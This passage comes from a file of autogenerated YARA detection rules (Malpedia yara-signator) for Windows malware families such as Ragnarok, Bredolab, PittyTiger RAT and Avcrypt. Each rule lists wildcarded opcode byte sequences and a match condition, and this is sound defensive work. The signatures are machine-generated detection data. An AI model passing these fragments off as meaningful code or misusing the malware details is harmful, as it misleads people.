		$sequence_1 = { f20f5cc8 f20f59ca f20f114c2440 e8???????? 440fbef0 e8???????? 0fbed8 }
		$sequence_2 = { c744247809000000 eb58 448d3c37 0fbe05???????? 4103c7 0fbe0d???????? 33d2 }
		$sequence_3 = { 8b5c2450 8b742454 3bc1 0f84bb130000 0fb605???????? 0fb605???????? 0fb605???????? }
		$sequence_4 = { f20f59c8 f2440f2cf1 8b85e01f0000 83c04c f20f2ad0 0fb605???????? 0fbec8 }
		$sequence_5 = { f2480f2ac0 f20f594590 f20f2cc0 89442428 8b442458 83e86a 660f6ed0 }
		$sequence_6 = { e8???????? 488bf8 488d9424b0000000 488d8c2450090000 e8???????? 488b18 488d9424b8000000 }
		$sequence_7 = { 85c0 7416 81a5fc030000fffeffff 488d8d28100000 e8???????? 4883c420 5d }
		$sequence_8 = { 83f801 750a 488b07 488bcf ff5008 90 4d85f6 }
		$sequence_9 = { 7406 6683f92f 7504 4883c002 483bd8 7442 0f1f8000000000 }
	condition:
		7 of them and filesize < 8337408
}

rule MALPEDIA_Win_Ragnarok_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0503ca8a-2001-56e1-b42c-037f05f91d96"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ragnarok_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "5619f0dd5fd5026a251efa6637f932f898dc57a4a8452621caeee9cc8878df0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1f906 57 6bf838 894df4 8b048d28754300 8b540718 8955ec }
		$sequence_1 = { 8945b8 8b45a8 8bc8 2345b0 f7d1 234d98 c1c20a }
		$sequence_2 = { 0f1f4000 8bc8 8b4104 85c0 75f7 895104 8b9db4feffff }
		$sequence_3 = { 8bc6 f7d0 c1c208 03550c 0bc7 33c3 8955bc }
		$sequence_4 = { 8b96e0000000 83fa14 7d38 8d0492 8d0c86 8d0492 c781e4000000e0b04000 }
		$sequence_5 = { 8b7d08 0fb6ca 333c8d105d4300 8bcf 897d08 334814 894d08 }
		$sequence_6 = { 3a8a54d84200 7532 8b06 8a08 40 42 8906 }
		$sequence_7 = { c1c10a 89459c 81c6a1ebd96e 8bc2 894d98 }
		$sequence_8 = { 234db4 03c3 894598 8b45b8 23c2 c145b80a 0bc8 }
		$sequence_9 = { 8b0c8d28754300 88440f2b 83fa03 7511 8b45fc 8b0c8528754300 8a06 }
	condition:
		7 of them and filesize < 483328
}

rule MALPEDIA_Win_Xfscashncr_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "08fa1629-5d24-53b4-85f4-eb31463ca09f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xfscashncr_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6e03028d0cfd23b56ac82a98bfd4131d910eac7c39a1c7a0b0fafa796b30a166"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 741b 0fbe4d82 85c9 7413 8b4d10 e8???????? 0fbe10 }
		$sequence_1 = { 8b4d18 e8???????? 8b8564ffffff 50 0fb64d1c 51 8b5514 }
		$sequence_2 = { c1f805 8b4de0 83e11f c1e106 030c85c0195700 894de4 8b55e4 }
		$sequence_3 = { 8d450c 50 e8???????? 83c408 0fb6c8 85c9 742a }
		$sequence_4 = { 004fed 4e 0015???????? ed 4e 0000 0501050205 }
		$sequence_5 = { 8955f4 8b450c 8b4d18 8d14c1 8955f8 8b4508 50 }
		$sequence_6 = { 8b45d0 8b0c85c0195700 81c100080000 394de4 7366 8b55e4 c6420400 }
		$sequence_7 = { d1f8 b902000000 c1e100 8b5508 0fb70c0a c1e10f 0bc1 }
		$sequence_8 = { 8b55fc 0fb7040a 85c0 752f b902000000 c1e100 8b55fc }
		$sequence_9 = { 0fb755a4 52 6a01 8b4524 50 8d4dd4 e8???????? }
	condition:
		7 of them and filesize < 3126272
}

rule MALPEDIA_Win_Cabart_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f125e8a4-ec32-5390-8552-f2a98b622d63"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cabart_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "61ecd8ce7a25b1013cbbef59f59ac25a4742d00a8fbf8c91414650d5dc932d94"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 be04010000 8d85d8fbffff 56 }
		$sequence_1 = { 5f 40 5e c9 c21000 53 }
		$sequence_2 = { 55 a3???????? ffd6 68???????? ff742414 a3???????? ffd6 }
		$sequence_3 = { 395d10 740f 6800800000 53 ff7510 }
		$sequence_4 = { ff15???????? ff15???????? 57 3db7000000 }
		$sequence_5 = { 761e 8b450c 8930 8b4510 eb16 }
		$sequence_6 = { 8d85fcfeffff 68???????? 6804010000 50 ff15???????? 83c410 6a10 }
		$sequence_7 = { 3bf3 0f8499000000 53 53 53 53 }
		$sequence_8 = { 57 ff15???????? 83c428 33c0 5f }
		$sequence_9 = { 6a02 57 6a01 6800000040 8d85fcfbffff }
	condition:
		7 of them and filesize < 32768
}

rule MALPEDIA_Win_Net_Star_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e4a1e4d6-66ac-52a3-a1bf-1a40ab526cfc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.net_star"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.net_star_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "93e5fe016bec66ccfdfdaabf1a580d9d03655d26419d498170f8b7ee102df278"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 281f00000a 1106 281e00000a dc 1109 6f2500000a 1109 }
		$sequence_1 = { 6f2400000a 6f2200000a de0f 1107 281f00000a }
		$sequence_2 = { 728d000070 2a 07 2802000006 1305 281a00000a }
		$sequence_3 = { 740100001b 0c 03 7243000070 6f1500000a }
		$sequence_4 = { 1308 1108 731d00000a 1309 1109 }
		$sequence_5 = { 09 281100000a 5a 281200000a 1304 08 09 }
		$sequence_6 = { 08 09 1104 281300000a a2 09 }
		$sequence_7 = { 6f1700000a 6f1500000a 740100001b 0d 09 2d06 725f000070 }
		$sequence_8 = { 09 08 8e 69 32dd 08 }
		$sequence_9 = { 26 de49 130a 1109 6f2100000a 1109 }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Bredolab_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9ae7558-41e9-5f48-a345-a8a0a59274ec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bredolab_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "b7fcc4ad5e8f568651dead1485597f16282b873ba030d633458bd92c7562859d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 55 89e5 56 53 8b5508 8b4d0c }
		$sequence_1 = { 75be 8b8348080000 40 898348080000 }
		$sequence_2 = { 7424 8b5514 c60200 8d85e0f7ffff 89442404 c7042400080000 ff15???????? }
		$sequence_3 = { 89853cfcffff ff15???????? 51 66c78560ffffff0800 c744240408020000 c7042400000000 ff15???????? }
		$sequence_4 = { c7834808000000000000 c7442404???????? 8d4314 890424 ff15???????? }
		$sequence_5 = { ff15???????? 57 57 8b45e4 89442404 8b4510 890424 }
		$sequence_6 = { 895c2424 89542420 c744241c00000000 c744241800000000 }
		$sequence_7 = { 84c0 75f6 894d14 8b5d14 c60300 8b4d0c 8b8560ffffff }
		$sequence_8 = { 8b450c 8b5510 8d1c07 85c0 740a 807bff3f 7404 }
		$sequence_9 = { 89d6 31db 6690 80be5409000000 7523 b030 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Ayegent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ced11e8d-8efd-5b26-929c-fa1cb31d81f3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ayegent_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "ba5d5de854dff7a7f643a8b1e7c7fe4de58085b126949eb8bd1d550389e21c48"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a1???????? 8d542400 52 50 ff15???????? 8b4c2428 8b542424 }
		$sequence_1 = { 51 6804010000 aa e8???????? 83c408 ffd5 }
		$sequence_2 = { 885c2420 f3ab 66ab 8d4c2420 51 6804010000 aa }
		$sequence_3 = { 770e 8088????????20 8ac8 80e920 ebe0 80a0609d400000 40 }
		$sequence_4 = { ff15???????? 8d542420 50 52 8d442428 68???????? }
		$sequence_5 = { 8d7c2421 885c2420 f3ab 66ab 8d4c2420 51 }
		$sequence_6 = { 6808020000 50 53 68???????? 68???????? 885c2428 ffd5 }
		$sequence_7 = { 66ab aa 8d442408 56 50 }
		$sequence_8 = { 53 68???????? 8d4c2428 68???????? 51 68???????? }
		$sequence_9 = { 66ab aa 8d442420 50 6a00 e8???????? }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Outlook_Backdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a3c9e166-1016-5506-93a9-19667db3083c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.outlook_backdoor_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "1c69545b2fc9583e56f8f6f93522f6191f76f6718f05e9ec7b5fbf60b049d689"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8412fdffff ff442410 ff4c2418 837c241800 7fdb e9???????? 56 }
		$sequence_1 = { eb0a 8b7508 e8???????? 8bc6 8b4df4 5f 5e }
		$sequence_2 = { 7708 c6063f 46 c6063d 46 8bc6 2b45e0 }
		$sequence_3 = { c645fc00 e8???????? 8b4df4 8b4508 64890d00000000 5e c9 }
		$sequence_4 = { e9???????? 33db 895c2414 8d442414 50 6a01 }
		$sequence_5 = { 8bf0 8d442418 8bcb e8???????? 8b08 8b4004 }
		$sequence_6 = { e8???????? 53 56 8d4dd8 eb29 }
		$sequence_7 = { 8365fc00 6bc01c 03818c000000 56 8b7508 50 }
		$sequence_8 = { 8b4d08 83c410 8d5104 8bc1 3bca 7412 }
		$sequence_9 = { 50 e8???????? 8bf0 59 8d8528ffffff 50 e8???????? }
	condition:
		7 of them and filesize < 2912256
}

rule MALPEDIA_Win_Pittytiger_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4a10640a-725b-54f9-8b7f-afdce80ef3e7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pittytiger_rat_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "1df7687d7c472496ea30aa086a3178f66e3b2104d4ea79dc045c4e3023b998ae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ffd7 83c410 8d8558f9ffff 50 ff15???????? 50 }
		$sequence_1 = { 33db f3ab ff7508 895dfc 66ab aa }
		$sequence_2 = { e8???????? 83c428 8d85e0fdffff 50 8b46f8 ff760c c1e005 }
		$sequence_3 = { 8d85f8fbffff ffb69c010000 68???????? 50 ffd7 }
		$sequence_4 = { 8b1d???????? 59 59 56 ffd3 57 }
		$sequence_5 = { 3bc3 a3???????? 0f84f2fdffff 8d45b8 c745c441786100 50 57 }
		$sequence_6 = { 56 56 ff15???????? 3bc6 8945f4 0f84bc000000 }
		$sequence_7 = { 51 53 56 57 33db bf80000000 53 }
		$sequence_8 = { e8???????? 85c0 0f85e2020000 85f6 }
		$sequence_9 = { ff750c ff7508 e8???????? 83c420 43 }
	condition:
		7 of them and filesize < 2162688
}

rule MALPEDIA_Win_Spica_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fb7e9642-1902-5334-b719-e15942756229"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spica"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spica_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ed495be78d555972a0dc5475fda2591b6a4e5ced1e014a8ddb16a1315155952a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3410f6f9798080000 f3410f6f9fa8080000 660f7f9b20040000 660f7f9310040000 660f7f8b00040000 660f7f83f0030000 41c687a409000001 }
		$sequence_1 = { f30f7f01 e9???????? 4883fe08 488b4c2470 480f42ce 488b5c2430 4829d9 }
		$sequence_2 = { ff15???????? 4885c0 0f84d9050000 4889c1 488905???????? 41b880000000 31d2 }
		$sequence_3 = { eb1b 4d8b8590000000 b800020000 4c234658 b940020000 0f44c1 4533db }
		$sequence_4 = { e8???????? 488d95b0000000 4889d9 e8???????? 440fb7f8 0fb74b58 4189cc }
		$sequence_5 = { ff5018 4d89fd 84c0 7424 e9???????? 0f854f060000 4c89f1 }
		$sequence_6 = { ff15???????? 488b0b 488b93a0000000 4885d2 741b 0fb783c0000000 3bf0 }
		$sequence_7 = { 8b442458 4863cb 448bf3 4903cf 4863e8 48c1e520 ffc3 }
		$sequence_8 = { ffc7 4983c670 3b7d00 7cab 4c8b742448 488b5c2440 488b6c2450 }
		$sequence_9 = { ffc1 f7f1 418bc1 8bcd 442bc2 33d2 41f737 }
	condition:
		7 of them and filesize < 14034944
}

rule MALPEDIA_Win_Cova_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d9a7c58b-e153-5509-9dd6-42fb3c64fb6e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cova"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cova_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "6df5413ed9281b7c21331e877b1103faf7f6d9e2e13d53e94329d8c943fa063c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 813bc8000000 7577 488d4d88 ff9598000000 488d4d80 8bf0 b81f85eb51 }
		$sequence_1 = { 4c8d8d70120000 4c8d8560010000 4889542430 488d95e0000000 }
		$sequence_2 = { 488d442440 4889442428 488d0518a30000 4889442420 4c8b4c2450 4c8b442458 }
		$sequence_3 = { 488d8d00150000 ff55b0 448d4e08 4c8d442470 8d1400 488d8d00150000 ff5550 }
		$sequence_4 = { 41b806000000 488d158e680000 483950f0 740c 488b10 4885d2 }
		$sequence_5 = { 33d2 33c9 ff5778 488bd8 4885c0 741f ba20bf0200 }
		$sequence_6 = { 57 4883ec20 488d1ddf5e0000 bf0a000000 }
		$sequence_7 = { 7d08 8d4a30 418808 eb06 }
		$sequence_8 = { 4885c9 741c f0ff09 7517 488d05bf830000 }
		$sequence_9 = { ba20bf0200 488bc8 ff5720 3d80000000 742a }
	condition:
		7 of them and filesize < 123904
}

rule MALPEDIA_Win_Unidentified_108_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "523cac0e-068e-567f-9b67-256b819ee9a9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_108"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_108_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "ff49cd548bd3e2342145a6556aab556577d4c1ad014ed5644df8b6ae901a1a52"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8d05a21d0100 488bf9 488d15a01d0100 b904000000 e8???????? 8bd3 }
		$sequence_1 = { 48c1fe06 4c8d2d0a5b0100 83e03f 4c8d24c0 498b44f500 }
		$sequence_2 = { 488d15e7f30000 83e03f 4d8bfd 49c1ff06 41b90a000000 488d3cc0 }
		$sequence_3 = { 742e 488d5510 0f1f840000000000 803201 }
		$sequence_4 = { 8b0d???????? 458bc5 f20f1005???????? 488bf8 }
		$sequence_5 = { 488d5201 41ffc0 488d4520 498bcc }
		$sequence_6 = { 4c8d15e0f40000 83e03f 498bd5 48c1fa06 }
		$sequence_7 = { 736e 488bc3 488bf3 48c1fe06 4c8d2d4ef70000 83e03f }
		$sequence_8 = { 486bc000 488d0d5ed50100 8b542430 48891401 488d0dd7250100 e8???????? }
		$sequence_9 = { 48894dff 83e03f 458be9 488d0dd066ffff 4c8945e7 }
	condition:
		7 of them and filesize < 307200
}

rule MALPEDIA_Win_Klrd_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f2ac53cd-82a8-55ea-badd-f6f1aae58f93"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.klrd_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "0fc6f030ea4bb49d87359f96c6eceeeaeffbdd94bdee42030f76f2d7ec66a19a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85fcefffff 50 e8???????? 59 50 }
		$sequence_1 = { 8d85fcefffff 50 57 ff15???????? 57 ff15???????? }
		$sequence_2 = { e8???????? 59 50 8d85fcefffff 50 57 }
		$sequence_3 = { 3c00 0f8485020000 3c03 0f847d020000 3c09 0f8475020000 3c08 }
		$sequence_4 = { c685c0fdffff00 68ff000000 6a00 8d85c1fdffff 50 e8???????? 83c40c }
		$sequence_5 = { 59 59 ff7510 ff750c ff7508 ff35???????? ff15???????? }
		$sequence_6 = { ebcc 8a85e7feffff 8885acfcffff 80bdacfcffff08 742f }
		$sequence_7 = { 56 56 6a04 56 56 68000000c0 68???????? }
		$sequence_8 = { 59 8d7dec f3a5 8b45ec 25ff000000 8885e7feffff 3c00 }
		$sequence_9 = { ffb5b0fcffff ff15???????? 8985c8feffff 83bdc8feffff00 7515 ff15???????? }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Collectorgoomba_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "030c7bf4-8b0d-51f1-a0c7-6787c27c5097"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.collectorgoomba_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "da75c37e8b44a581ccdac242b61ed90697e0dec4be3fbb969cde47a5043e7eae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff30 ff7508 e8???????? 59 59 898504ffffff 6af7 }
		$sequence_1 = { 8b45f4 c1e803 8b4d08 8b4954 0fb60401 8b4df4 83e107 }
		$sequence_2 = { ff75fc e8???????? 83c410 ff75c8 ff7588 6a7a ff75fc }
		$sequence_3 = { ff702c ff7508 e8???????? 83c40c ff75f4 6a24 ff75fc }
		$sequence_4 = { ff750c ff75e8 ff75e4 e8???????? 83c414 8b4df4 64890d00000000 }
		$sequence_5 = { ff15???????? 59 8b4514 83e002 7421 ff7518 8b4514 }
		$sequence_6 = { ffb594feffff ffb590feffff e8???????? 83c40c c645fc23 8d8d54fcffff e8???????? }
		$sequence_7 = { ff75f8 e8???????? 83c418 33c0 40 e9???????? 8b450c }
		$sequence_8 = { ffb558ffffff ffb554ffffff 8b4508 ff30 e8???????? 83c418 8945d0 }
		$sequence_9 = { ffb518ffffff 8d8500fdffff 50 e8???????? 83c40c 898514ffffff 8b8514ffffff }
	condition:
		7 of them and filesize < 1400832
}

rule MALPEDIA_Win_Avcrypt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6717dbdb-f4ba-5c23-a152-195fba62bfc4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avcrypt_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "88e8fd00aad138bd5391f93ff200b42a3193bfb4856f2e79b29034d74d91998c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c40c 8d4dc0 e8???????? be???????? c745fc02000000 56 }
		$sequence_1 = { 0fb7c8 b8ffff0000 663bc1 8b4dec 6a04 58 }
		$sequence_2 = { ddd8 db2d???????? b801000000 833d????????00 0f8516a20000 ba05000000 8d0d60974300 }
		$sequence_3 = { 8b00 837dec08 8d4dd8 8bd0 0f434dd8 }
		$sequence_4 = { e8???????? 59 8365fc00 8b049d80b54300 f644380401 7413 ff7510 }
		$sequence_5 = { 8ac3 e8???????? c3 68a4020000 b8???????? e8???????? 8bc2 }
		$sequence_6 = { 68???????? 6a18 6a18 50 e8???????? e8???????? }
		$sequence_7 = { b44b 5a baa5c94fad 90 302c83 2d2171e50b }
		$sequence_8 = { 48 7412 e8???????? c70016000000 e8???????? ebb4 c745e440be4300 }
		$sequence_9 = { 8965c8 68???????? e8???????? 83ec18 c645fc14 8bcc 68???????? }
	condition:
		7 of them and filesize < 6160384
}

rule MALPEDIA_Win_Banatrix_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6974f81a-af90-539d-af3d-94a99f9a6ee8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banatrix_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "c6cf826d5b4f12a87f113cad069f8b787ae4fd983cd321b74f5d11035bda50a6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8b470c 85c0 74e3 }
		$sequence_1 = { 8b45cc d16dd0 8b4dd0 8d34c8 8b0e 81e1ffffff7f 034dc8 }
		$sequence_2 = { 0f44d0 e9???????? 7418 8b75d4 }
		$sequence_3 = { 89c2 ebe0 0f86dc000000 8d7101 }
		$sequence_4 = { 5f 5d c3 55 89e5 83ec28 8b4514 }
		$sequence_5 = { 8d4101 c74424080a000000 890424 c745e400000000 e8???????? 89c6 }
		$sequence_6 = { 894314 8b4510 897b04 c7430800000000 c7431000000000 }
